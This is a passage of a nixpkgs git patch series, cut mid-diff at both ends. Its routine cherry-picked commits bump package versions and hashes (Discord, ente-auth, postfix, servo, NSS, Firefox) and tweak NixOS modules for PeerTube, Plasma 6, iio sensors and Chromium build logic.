+        hash = "sha256-JucQ4EPWSMKAKvZhovij8YGWLhZ3IhnXoskce3RG0Do=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/osx/${version}/DiscordPTB.dmg";
-        hash = "sha256-Q153X08crRpXZMMgNDYbADHnL7MiBPCakJxQe8Pl0Uo=";
+        hash = "sha256-yL3NSjY3W1w1gfw7w7zdCgVcov18PtrT8RmcwgQLA6U=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";
-        hash = "sha256-69Q8kTfenlmhjptVSQ9Y0AyeViRw+srMExOA7fAlaGw=";
+        hash = "sha256-pa7nJMJU6jPNcusIJ93aAH8AFQl93z1FX/sv6+M4WME=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/osx/${version}/DiscordDevelopment.dmg";
-        hash = "sha256-fe7yE+dxEATIdfITg57evbaQkChCcoaLrzV+8KwEBws=";
+        hash = "sha256-BVTQPr3Oox/mTNE7LTJfYuKhI8PlkJlznKiOffqpECs=";
       };
     };
     aarch64-darwin = x86_64-darwin;

From 04f62c8c0a65f78097c3ce632473bc86333e0a28 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Mon, 21 Jul 2025 12:52:34 +0200
Subject: [PATCH 2669/4511] peertube: remove spawn

(cherry picked from commit 1c1d6a725a93c0e2f311f42043254fe2e9b3247c)
---
 nixos/modules/services/web-apps/peertube.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/nixos/modules/services/web-apps/peertube.nix b/nixos/modules/services/web-apps/peertube.nix
index 7eb61da55bad..c4b0186a77b4 100644
--- a/nixos/modules/services/web-apps/peertube.nix
+++ b/nixos/modules/services/web-apps/peertube.nix
@@ -32,7 +32,6 @@ let
     "@obsolete"
     "@privileged"
     "@setuid"
-    "@spawn"
   ];
 
   cfgService = {

From 4fd1cfd4c70736e3b507963c4d173878df68ef87 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Fri, 18 Jul 2025 04:22:43 +0000
Subject: [PATCH 2670/4511] nixos/nix-required-mounts: add driverLink symlink
 target to NVIDIA defaults

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 0b47ed1b35e2a894f4ace1d2280220fca4a9ad2c)
---
 nixos/modules/programs/nix-required-mounts.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/nixos/modules/programs/nix-required-mounts.nix b/nixos/modules/programs/nix-required-mounts.nix
index 47019dafab8f..0fb83b2f8946 100644
--- a/nixos/modules/programs/nix-required-mounts.nix
+++ b/nixos/modules/programs/nix-required-mounts.nix
@@ -47,7 +47,10 @@ let
     );
 
   driverPaths = [
+    # opengl:
+    # NOTE: Since driverLink is just a symlink, we need to include its target as well.
     pkgs.addDriverRunpath.driverLink
+    config.systemd.tmpfiles.settings.graphics-driver."/run/opengl-driver"."L+".argument
 
     # mesa:
     config.hardware.graphics.package

From b86969deb12b3dbe48eef043c8f4cd7621476442 Mon Sep 17 00:00:00 2001
From: Niklas Korz <niklas@niklaskorz.de>
Date: Mon, 21 Jul 2025 13:00:05 +0200
Subject: [PATCH 2671/4511] ente-auth: 4.4.0 -> 4.4.3

Changelog: https://github.com/ente-io/ente/releases/tag/auth-v4.4.3
(cherry picked from commit 6d9d422b38fea77f4badc8609977c7d26d30c770)
---
 pkgs/by-name/en/ente-auth/git-hashes.json   |  7 ++
 pkgs/by-name/en/ente-auth/package.nix       |  8 +-
 pkgs/by-name/en/ente-auth/pubspec.lock.json | 81 +++++++++++----------
 pkgs/by-name/en/ente-auth/update.sh         |  4 +-
 4 files changed, 58 insertions(+), 42 deletions(-)

diff --git a/pkgs/by-name/en/ente-auth/git-hashes.json b/pkgs/by-name/en/ente-auth/git-hashes.json
index 00eb4fd6c67e..80a5e5b11c43 100644
--- a/pkgs/by-name/en/ente-auth/git-hashes.json
+++ b/pkgs/by-name/en/ente-auth/git-hashes.json
@@ -1,5 +1,12 @@
 {
   "ente_crypto_dart": "sha256-xBBK9BdXh4+OTj+Jkf3zh5sMZjXtvhyuE1R5LFE8iTY=",
+  "flutter_inappwebview": "sha256-kskXtWxgp7/g1xThm5Wk3Akeaw3DHGN99PARLJyGL3A=",
+  "flutter_inappwebview_android": "sha256-kskXtWxgp7/g1xThm5Wk3Akeaw3DHGN99PARLJyGL3A=",
+  "flutter_inappwebview_ios": "sha256-kskXtWxgp7/g1xThm5Wk3Akeaw3DHGN99PARLJyGL3A=",
+  "flutter_inappwebview_macos": "sha256-kskXtWxgp7/g1xThm5Wk3Akeaw3DHGN99PARLJyGL3A=",
+  "flutter_inappwebview_platform_interface": "sha256-kskXtWxgp7/g1xThm5Wk3Akeaw3DHGN99PARLJyGL3A=",
+  "flutter_inappwebview_web": "sha256-kskXtWxgp7/g1xThm5Wk3Akeaw3DHGN99PARLJyGL3A=",
+  "flutter_inappwebview_windows": "sha256-kskXtWxgp7/g1xThm5Wk3Akeaw3DHGN99PARLJyGL3A=",
   "flutter_local_authentication": "sha256-r50jr+81ho+7q2PWHLf4VnvNJmhiARZ3s4HUpThCgc0=",
   "sqflite": "sha256-+XTVtkFJ94VifwnutvUuAqqiyWwrcEiZ3Uz0H4D9zWA="
 }
diff --git a/pkgs/by-name/en/ente-auth/package.nix b/pkgs/by-name/en/ente-auth/package.nix
index 1298325524d5..8e42f2df491e 100644
--- a/pkgs/by-name/en/ente-auth/package.nix
+++ b/pkgs/by-name/en/ente-auth/package.nix
@@ -18,17 +18,17 @@ let
 in
 flutter324.buildFlutterApplication rec {
   pname = "ente-auth";
-  version = "4.4.0";
+  version = "4.4.3";
 
   src = fetchFromGitHub {
     owner = "ente-io";
     repo = "ente";
-    sparseCheckout = [ "auth" ];
+    sparseCheckout = [ "mobile/apps/auth" ];
     tag = "auth-v${version}";
-    hash = "sha256-bwLEOmdDiD7X2o9PshDBf+Y1s6KYT7xGhqCu4nNAchI=";
+    hash = "sha256-6LTGmSCMlLynYtYCsJiALsRMm9vLUD9HaGnfHu0r6Rw=";
   };
 
-  sourceRoot = "${src.name}/auth";
+  sourceRoot = "${src.name}/mobile/apps/auth";
 
   pubspecLock = lib.importJSON ./pubspec.lock.json;
   gitHashes = lib.importJSON ./git-hashes.json;
diff --git a/pkgs/by-name/en/ente-auth/pubspec.lock.json b/pkgs/by-name/en/ente-auth/pubspec.lock.json
index 8d7e969cb623..5007165e59e8 100644
--- a/pkgs/by-name/en/ente-auth/pubspec.lock.json
+++ b/pkgs/by-name/en/ente-auth/pubspec.lock.json
@@ -676,82 +676,89 @@
     "flutter_inappwebview": {
       "dependency": "direct main",
       "description": {
-        "name": "flutter_inappwebview",
-        "sha256": "80092d13d3e29b6227e25b67973c67c7210bd5e35c4b747ca908e31eb71a46d5",
-        "url": "https://pub.dev"
+        "path": "flutter_inappwebview",
+        "ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "resolved-ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "url": "https://github.com/pichillilorenzo/flutter_inappwebview.git"
       },
-      "source": "hosted",
-      "version": "6.1.5"
+      "source": "git",
+      "version": "6.2.0-beta.3"
     },
     "flutter_inappwebview_android": {
       "dependency": "transitive",
       "description": {
-        "name": "flutter_inappwebview_android",
-        "sha256": "62557c15a5c2db5d195cb3892aab74fcaec266d7b86d59a6f0027abd672cddba",
-        "url": "https://pub.dev"
+        "path": "flutter_inappwebview_android",
+        "ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "resolved-ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "url": "https://github.com/pichillilorenzo/flutter_inappwebview.git"
       },
-      "source": "hosted",
-      "version": "1.1.3"
+      "source": "git",
+      "version": "1.2.0-beta.3"
     },
     "flutter_inappwebview_internal_annotations": {
       "dependency": "transitive",
       "description": {
         "name": "flutter_inappwebview_internal_annotations",
-        "sha256": "5f80fd30e208ddded7dbbcd0d569e7995f9f63d45ea3f548d8dd4c0b473fb4c8",
+        "sha256": "787171d43f8af67864740b6f04166c13190aa74a1468a1f1f1e9ee5b90c359cd",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.1"
+      "version": "1.2.0"
     },
     "flutter_inappwebview_ios": {
       "dependency": "transitive",
       "description": {
-        "name": "flutter_inappwebview_ios",
-        "sha256": "5818cf9b26cf0cbb0f62ff50772217d41ea8d3d9cc00279c45f8aabaa1b4025d",
-        "url": "https://pub.dev"
+        "path": "flutter_inappwebview_ios",
+        "ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "resolved-ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "url": "https://github.com/pichillilorenzo/flutter_inappwebview.git"
       },
-      "source": "hosted",
-      "version": "1.1.2"
+      "source": "git",
+      "version": "1.2.0-beta.3"
     },
     "flutter_inappwebview_macos": {
       "dependency": "transitive",
       "description": {
-        "name": "flutter_inappwebview_macos",
-        "sha256": "c1fbb86af1a3738e3541364d7d1866315ffb0468a1a77e34198c9be571287da1",
-        "url": "https://pub.dev"
+        "path": "flutter_inappwebview_macos",
+        "ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "resolved-ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "url": "https://github.com/pichillilorenzo/flutter_inappwebview.git"
       },
-      "source": "hosted",
-      "version": "1.1.2"
+      "source": "git",
+      "version": "1.2.0-beta.3"
     },
     "flutter_inappwebview_platform_interface": {
       "dependency": "transitive",
       "description": {
-        "name": "flutter_inappwebview_platform_interface",
-        "sha256": "cf5323e194096b6ede7a1ca808c3e0a078e4b33cc3f6338977d75b4024ba2500",
-        "url": "https://pub.dev"
+        "path": "flutter_inappwebview_platform_interface",
+        "ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "resolved-ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "url": "https://github.com/pichillilorenzo/flutter_inappwebview.git"
       },
-      "source": "hosted",
-      "version": "1.3.0+1"
+      "source": "git",
+      "version": "1.4.0-beta.3"
     },
     "flutter_inappwebview_web": {
       "dependency": "transitive",
       "description": {
-        "name": "flutter_inappwebview_web",
-        "sha256": "55f89c83b0a0d3b7893306b3bb545ba4770a4df018204917148ebb42dc14a598",
-        "url": "https://pub.dev"
+        "path": "flutter_inappwebview_web",
+        "ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "resolved-ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "url": "https://github.com/pichillilorenzo/flutter_inappwebview.git"
       },
-      "source": "hosted",
-      "version": "1.1.2"
+      "source": "git",
+      "version": "1.2.0-beta.3"
     },
     "flutter_inappwebview_windows": {
       "dependency": "transitive",
       "description": {
-        "name": "flutter_inappwebview_windows",
-        "sha256": "8b4d3a46078a2cdc636c4a3d10d10f2a16882f6be607962dbfff8874d1642055",
-        "url": "https://pub.dev"
+        "path": "flutter_inappwebview_windows",
+        "ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "resolved-ref": "3e6c4c4a25340cd363af9d38891d88498b90be26",
+        "url": "https://github.com/pichillilorenzo/flutter_inappwebview.git"
       },
-      "source": "hosted",
-      "version": "0.6.0"
+      "source": "git",
+      "version": "0.7.0-beta.3"
     },
     "flutter_launcher_icons": {
       "dependency": "direct main",
diff --git a/pkgs/by-name/en/ente-auth/update.sh b/pkgs/by-name/en/ente-auth/update.sh
index ed5d30529b60..fe46cf3e4d72 100755
--- a/pkgs/by-name/en/ente-auth/update.sh
+++ b/pkgs/by-name/en/ente-auth/update.sh
@@ -17,7 +17,9 @@ fi
 echo "Updating to $short_version"
 
 # Subtree needed for lockfile and icons
-auth_tree="$(gh-curl "https://api.github.com/repos/ente-io/ente/git/trees/$version" | gojq '.tree[] | select(.path == "auth") | .url' --raw-output)"
+mobile_tree="$(gh-curl "https://api.github.com/repos/ente-io/ente/git/trees/$version" | gojq '.tree[] | select(.path == "mobile") | .url' --raw-output)"
+apps_tree="$(gh-curl "$mobile_tree" | gojq '.tree[] | select(.path == "apps") | .url' --raw-output)"
+auth_tree="$(gh-curl "$apps_tree" | gojq '.tree[] | select(.path == "auth") | .url' --raw-output)"
 
 pushd "$pkg_dir"
 

From b61c9eb6c188c7da1c85af85ece8d31b511d4d61 Mon Sep 17 00:00:00 2001
From: Kermina Awad <kerminaawad@gmail.com>
Date: Tue, 1 Jul 2025 11:22:52 -0400
Subject: [PATCH 2672/4511] nixos/plasma6: fix autorotation when IIO module is
 enabled

Plasma 6 requires the `qtsensors` package to be installed in order
for autorotation to work correctly. Simply enabling the IIO module
is not sufficient, although it's also required. Both are required
for autorotation to work correctly.

(cherry picked from commit 864ffcd1e159537d8756ec0434d5be492981a06f)
---
 nixos/modules/services/desktop-managers/plasma6.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/nixos/modules/services/desktop-managers/plasma6.nix b/nixos/modules/services/desktop-managers/plasma6.nix
index f6be4413fc7d..1835eacbab1f 100644
--- a/nixos/modules/services/desktop-managers/plasma6.nix
+++ b/nixos/modules/services/desktop-managers/plasma6.nix
@@ -173,6 +173,10 @@ in
             krdp
             xwaylandvideobridge # exposes Wayland windows to X11 screen capture
           ]
+          ++ lib.optionals config.hardware.sensor.iio.enable [
+            # This is required for autorotation in Plasma 6
+            qtsensors
+          ]
           ++ lib.optionals config.services.flatpak.enable [
             # Since PackageKit Nix support is not there yet,
             # only install discover if flatpak is enabled.

From 1357ee16cb2d578ad4eed1fe5104474fec2aa235 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Wed, 16 Jul 2025 11:18:12 +0200
Subject: [PATCH 2673/4511] nixos/iio: add package option

this helps with overriding the iio package in situations where overlays
are ignored i.e. when the nixpkgs.pkgs option is used for performance.

In particular we want this for
https://github.com/FrameworkComputer/linux-docs/blob/main/framework12/nixOS.md#framework-12-nixos-tweaks

(cherry picked from commit 8489ccc7313a977e94b3c3871de9d96fb760d1ec)
---
 nixos/modules/hardware/sensor/iio.nix | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/nixos/modules/hardware/sensor/iio.nix b/nixos/modules/hardware/sensor/iio.nix
index 0f7450cf1649..dd783d5a72a2 100644
--- a/nixos/modules/hardware/sensor/iio.nix
+++ b/nixos/modules/hardware/sensor/iio.nix
@@ -19,6 +19,8 @@
         type = lib.types.bool;
         default = false;
       };
+
+      package = lib.mkPackageOption pkgs "iio-sensor-proxy" { };
     };
   };
 
@@ -28,10 +30,10 @@
 
     boot.initrd.availableKernelModules = [ "hid-sensor-hub" ];
 
-    environment.systemPackages = with pkgs; [ iio-sensor-proxy ];
+    environment.systemPackages = [ config.hardware.sensor.iio.package ];
 
-    services.dbus.packages = with pkgs; [ iio-sensor-proxy ];
-    services.udev.packages = with pkgs; [ iio-sensor-proxy ];
-    systemd.packages = with pkgs; [ iio-sensor-proxy ];
+    services.dbus.packages = [ config.hardware.sensor.iio.package ];
+    services.udev.packages = [ config.hardware.sensor.iio.package ];
+    systemd.packages = [ config.hardware.sensor.iio.package ];
   };
 }

From 8934f69b1956d329d00314dc0535a92f2a353a11 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Tue, 15 Jul 2025 18:56:49 -0700
Subject: [PATCH 2674/4511] postfix: 3.10.2 -> 3.10.3

Changelog: https://www.postfix.org/announcements/postfix-3.10.3.html
(cherry picked from commit 5713fe373b16b3c576e6940d76b8ee6965713d77)
---
 pkgs/by-name/po/postfix/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/po/postfix/package.nix b/pkgs/by-name/po/postfix/package.nix
index e6faada241ee..81f299b5957d 100644
--- a/pkgs/by-name/po/postfix/package.nix
+++ b/pkgs/by-name/po/postfix/package.nix
@@ -71,11 +71,11 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "postfix";
-  version = "3.10.2";
+  version = "3.10.3";
 
   src = fetchurl {
     url = "https://de.postfix.org/ftpmirror/official/postfix-${version}.tar.gz";
-    hash = "sha256-vMpWQTLUz1+cnONU2rndNe6OniGQCGRiPIFdrBa/vCc=";
+    hash = "sha256-487AXZG20pWOzW6pBF+qNfecWw4ii5dazkatKv6BIFM=";
   };
 
   nativeBuildInputs = [

From 95449a06ac01f2068d40c7018b6656ba30c83375 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Sat, 19 Jul 2025 01:33:51 +0200
Subject: [PATCH 2675/4511] chromium: remove outdated conditional logic

(cherry picked from commit 909ba2700c69bedbaef9c4118f7cc4b39b2f0984)
---
 .../networking/browsers/chromium/common.nix   | 86 ++-----------------
 1 file changed, 8 insertions(+), 78 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/common.nix b/pkgs/applications/networking/browsers/chromium/common.nix
index 9567be60d413..1444ffc807e1 100644
--- a/pkgs/applications/networking/browsers/chromium/common.nix
+++ b/pkgs/applications/networking/browsers/chromium/common.nix
@@ -215,7 +215,6 @@ let
   };
 
   isElectron = packageName == "electron";
-  needsCompgen = chromiumVersionAtLeast "133";
   rustcVersion = buildPackages.rustc.version;
 
   chromiumDeps = lib.mapAttrs (
@@ -295,11 +294,7 @@ let
       [
         ninja
         gnChromium
-      ]
-      ++ lib.optionals needsCompgen [
         bashInteractive # needed for compgen in buildPhase -> process_template
-      ]
-      ++ [
         pkg-config
         python3WithPackages
         perl
@@ -513,7 +508,7 @@ let
           revert = true;
         })
       ]
-      ++ lib.optionals (chromiumVersionAtLeast "131" && stdenv.hostPlatform.isAarch64) [
+      ++ lib.optionals stdenv.hostPlatform.isAarch64 [
         # Reverts decommit pooled pages which causes random crashes of tabs on systems
         # with page sizes different than 4k. It 'supports' runtime page sizes, but has
         # a hardcode for aarch64 systems.
@@ -529,70 +524,12 @@ let
           hash = "sha256-PuinMLhJ2W4KPXI5K0ujw85ENTB1wG7Hv785SZ55xnY=";
         })
       ]
-      ++ lib.optionals (!isElectron && !chromiumVersionAtLeast "137") [
-        # Backport "Add more CFI suppressions for inline PipeWire functions" from M137
-        # to fix SIGKILL (ud1) when screensharing with PipeWire 1.4+ and is_cfi = true.
-        # Our chromium builds set is_official_build = true, which in turn enables is_cfi.
-        # We don't apply this patch to electron, because we build electron with
-        # is_cfi = false and as such is not affected by this.
-        # https://chromium-review.googlesource.com/c/chromium/src/+/6421030
-        (fetchpatch {
-          name = "add-more-CFI-suppressions-for-inline-PipeWire-functions.patch";
-          url = "https://chromium.googlesource.com/chromium/src/+/0eebf40b9914bca8fe69bef8eea89522c1a5d4ce^!?format=TEXT";
-          decode = "base64 -d";
-          hash = "sha256-xMqGdu5Q8BGF/OIRdmMzPrrrMGDOSY2xElFfhRsJlDU=";
-        })
-      ]
-      ++ lib.optionals (!isElectron && !chromiumVersionAtLeast "136") [
-        # Backport "Only call format_message when needed" to fix print() crashing with is_cfi = true.
-        # We build electron is_cfi = false and as such electron is not affected by this.
-        # Started shipping with M136+.
-        # https://github.com/NixOS/nixpkgs/issues/401326
-        # https://gitlab.archlinux.org/archlinux/packaging/packages/chromium/-/issues/13
-        # https://skia-review.googlesource.com/c/skia/+/961356
-        (fetchpatch {
-          name = "only-call-format_message-when-needed.patch";
-          url = "https://skia.googlesource.com/skia/+/71685eda67178fa374d473ec1431fc459c83bb21^!?format=TEXT";
-          decode = "base64 -d";
-          stripLen = 1;
-          extraPrefix = "third_party/skia/";
-          hash = "sha256-aMqDjt/0cowqSm5DqcD3+zX+mtjydk396LD+B5F/3cs=";
-        })
-      ]
       ++ lib.optionals (chromiumVersionAtLeast "136") [
         # Modify the nodejs version check added in https://chromium-review.googlesource.com/c/chromium/src/+/6334038
         # to look for the minimal version, not the exact version (major.minor.patch). The linked CL makes a case for
         # preventing compilations of chromium with versions below their intended version, not about running the very
         # exact version or even running a newer version.
         ./patches/chromium-136-nodejs-assert-minimal-version-instead-of-exact-match.patch
-      ]
-      ++ lib.optionals (versionRange "137" "138") [
-        (fetchpatch {
-          # Partial revert of upstream clang+llvm bump revert to fix the following error when building with LLVM < 21:
-          #  clang++: error: unknown argument: '-fextend-variable-liveness=none'
-          # https://chromium-review.googlesource.com/c/chromium/src/+/6514242
-          # Upstream relanded this in M138+ with <https://chromium-review.googlesource.com/c/chromium/src/+/6541127>.
-          name = "chromium-137-llvm-19.patch";
-          url = "https://chromium.googlesource.com/chromium/src/+/ddf8f8a465be2779bd826db57f1299ccd2f3aa25^!?format=TEXT";
-          includes = [ "build/config/compiler/BUILD.gn" ];
-          revert = true;
-          decode = "base64 -d";
-          hash = "sha256-wAR8E4WKMvdkW8DzdKpyNpp4dynIsYAbnJ2MqE8V2o8=";
-        })
-      ]
-      ++ lib.optionals (versionRange "137" "138") [
-        (fetchpatch {
-          # Backport "Fix build with system libpng" that fixes a typo in core/fxcodec/png/png_decoder.cpp that causes
-          # the build to fail at the final linking step.
-          # https://pdfium-review.googlesource.com/c/pdfium/+/132130
-          # Started shipping with M138+.
-          name = "pdfium-Fix-build-with-system-libpng.patch";
-          url = "https://pdfium.googlesource.com/pdfium.git/+/83f11d630aa1cb6d5ceb292364412f7b0585a201^!?format=TEXT";
-          extraPrefix = "third_party/pdfium/";
-          stripLen = 1;
-          decode = "base64 -d";
-          hash = "sha256-lDX0OLdxxTNLtViqEt0luJQ/H0mlvQfV0zbY1Ubqyq0=";
-        })
       ];
 
     postPatch =
@@ -811,19 +748,10 @@ let
         # Disable PGO because the profile data requires a newer compiler version (LLVM 14 isn't sufficient):
         chrome_pgo_phase = 0;
         clang_base_path = "${llvmCcAndBintools}";
+
+        use_qt5 = false;
+        use_qt6 = false;
       }
-      // (
-        # M134 changed use_qt to use_qt5 (and use_qt6)
-        if chromiumVersionAtLeast "134" then
-          {
-            use_qt5 = false;
-            use_qt6 = false;
-          }
-        else
-          {
-            use_qt = false;
-          }
-      )
       // lib.optionalAttrs (chromiumVersionAtLeast "136") {
         # LLVM < v21 does not support --warning-suppression-mappings yet:
         clang_warning_suppression_file = "";
@@ -906,12 +834,14 @@ let
       let
         buildCommand = target: ''
           TERM=dumb ninja -C "${buildPath}" -j$NIX_BUILD_CORES "${target}"
-          ${lib.optionalString needsCompgen "bash -s << EOL\n"}(
+          bash -s << EOL
+          (
             source chrome/installer/linux/common/installer.include
             PACKAGE=$packageName
             MENUNAME="Chromium"
             process_template chrome/app/resources/manpage.1.in "${buildPath}/chrome.1"
-          )${lib.optionalString needsCompgen "\nEOL"}
+          )
+          EOL
         '';
         targets = extraAttrs.buildTargets or [ ];
         commands = map buildCommand targets;

From b25f25c95e7ac127b53db44f6d4835a383ec2f86 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 21 Jul 2025 22:36:54 +0000
Subject: [PATCH 2676/4511] servo: 0-unstable-2025-07-13 ->
 0-unstable-2025-07-21

(cherry picked from commit a60775c9c8e09b181a4f2855e130baaa474f41c7)
---
 pkgs/by-name/se/servo/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/se/servo/package.nix b/pkgs/by-name/se/servo/package.nix
index 0ae573ce9143..6b1fdc88b966 100644
--- a/pkgs/by-name/se/servo/package.nix
+++ b/pkgs/by-name/se/servo/package.nix
@@ -65,13 +65,13 @@ in
 
 rustPlatform.buildRustPackage {
   pname = "servo";
-  version = "0-unstable-2025-07-13";
+  version = "0-unstable-2025-07-21";
 
   src = fetchFromGitHub {
     owner = "servo";
     repo = "servo";
-    rev = "93e5b672a78247205c431d5741952bdf23c3fcc2";
-    hash = "sha256-0826hNZ45BXXNzdZKbyUW/CfwVRZmpYU1e6efaACh4o=";
+    rev = "50603e5074064211cee253b0782cb29ae413d3ee";
+    hash = "sha256-qlIjyvrtCwnUVO12LYm52drsQJqgfOEj7rV4LgubG5E=";
     # Breaks reproducibility depending on whether the picked commit
     # has other ref-names or not, which may change over time, i.e. with
     # "ref-names: HEAD -> main" as long this commit is the branch HEAD
@@ -82,7 +82,7 @@ rustPlatform.buildRustPackage {
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-uB5eTGiSq+DV7VwYoyLR2HH3DQpSV4xnP7C7iXZa7S0=";
+  cargoHash = "sha256-kKuauc5yK6IOKDL9o+vmNLg4wyZ+24YNT5Yhn+z51jE=";
 
   # set `HOME` to a temp dir for write access
   # Fix invalid option errors during linking (https://github.com/mozilla/nixpkgs-mozilla/commit/c72ff151a3e25f14182569679ed4cd22ef352328)

From 25e860f62291a08fc61dde280aa3eab54bfa4a8a Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 21 Jul 2025 16:24:21 +0200
Subject: [PATCH 2677/4511] nss_latest: 3.113 -> 3.114

https://github.com/nss-dev/nss/blob/master/doc/rst/releases/nss_3_114.rst
(cherry picked from commit 2dc70a9694e1fe1057778334db3ef008f534e977)
---
 pkgs/development/libraries/nss/latest.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/nss/latest.nix b/pkgs/development/libraries/nss/latest.nix
index 51f29eb909ec..eb09313d1a11 100644
--- a/pkgs/development/libraries/nss/latest.nix
+++ b/pkgs/development/libraries/nss/latest.nix
@@ -5,6 +5,6 @@
 #       Example: nix-shell ./maintainers/scripts/update.nix --argstr package cacert
 
 import ./generic.nix {
-  version = "3.113";
-  hash = "sha256-gjkJaNNTqtaMxO6PuRLZ8ATMP88L4LXCtpT84fahcmU=";
+  version = "3.114";
+  hash = "sha256-YVtXk1U9JtqfOH7+m/+bUI/yXJcydqjjGbCy/5xbMe8=";
 }

From 235f2fb7987f8a8d632e836d6606aa4afacb3293 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 21 Jul 2025 16:27:48 +0200
Subject: [PATCH 2678/4511] firefox-unwrapped: 140.0.4 -> 141.0

https://www.firefox.com/en-US/firefox/141.0/releasenotes/
(cherry picked from commit 74290977802b54e84264dff1f1663d931f89e84f)
---
 .../networking/browsers/firefox/packages/firefox.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
index 6f12c9b1e4de..5dca8a58b55f 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
@@ -9,10 +9,10 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "140.0.4";
+  version = "141.0";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "3de7c0871b8a45683f5c226fb3e91e597e8f89ef154b208b2a57c4d3ea9f39cb5c69ecbd5eca3b6da68d3775688d2289c1360c7d110c67bb1be1cf26ef8cf36d";
+    sha512 = "bd6998bce927c5b5c186537bd41475fc9e3809829ceadb2277bb382d02d3780d2a5e5749487567a75b7c9e3726f97662c4ec28924bc491c5a3f21e2ec4828d63";
   };
 
   meta = {

From 90174efe4abc25c7211808caad2baa007c9b1ed4 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 21 Jul 2025 16:28:47 +0200
Subject: [PATCH 2679/4511] firefox-bin-unwrapped: 140.0.4 -> 141.0

https://www.firefox.com/en-US/firefox/141.0/releasenotes/
(cherry picked from commit 2e3a844e0a779a39b41ea37a8dcba741a6741414)
---
 .../browsers/firefox-bin/release_sources.nix  | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
index c52e8385e537..5591ca682b62 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "140.0.4";
+  version = "141.0";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ach/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ach/firefox-141.0.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "f943c88e9137bac9d5ddfc60939ad2d29c1bd552a25940952cfc259594fed177";
+      sha256 = "3e6b1b0a383f48190fbcf2d15d1b88d9169a433702b4c064a1557670724247fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/af/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/af/firefox-141.0.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "b99de59f6e9dc526de1a5b2ad32746e664644e1571808fc69afc8c4642c0e1e1";
+      sha256 = "135ff6f4e52d3940562db5fc42a482749c91106412a1dfda4efee8b24b7dc540";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/an/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/an/firefox-141.0.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "c045273e667aeabc7be60f0086391bc36d90f2adfab92210ba1f9268e1d7c8ee";
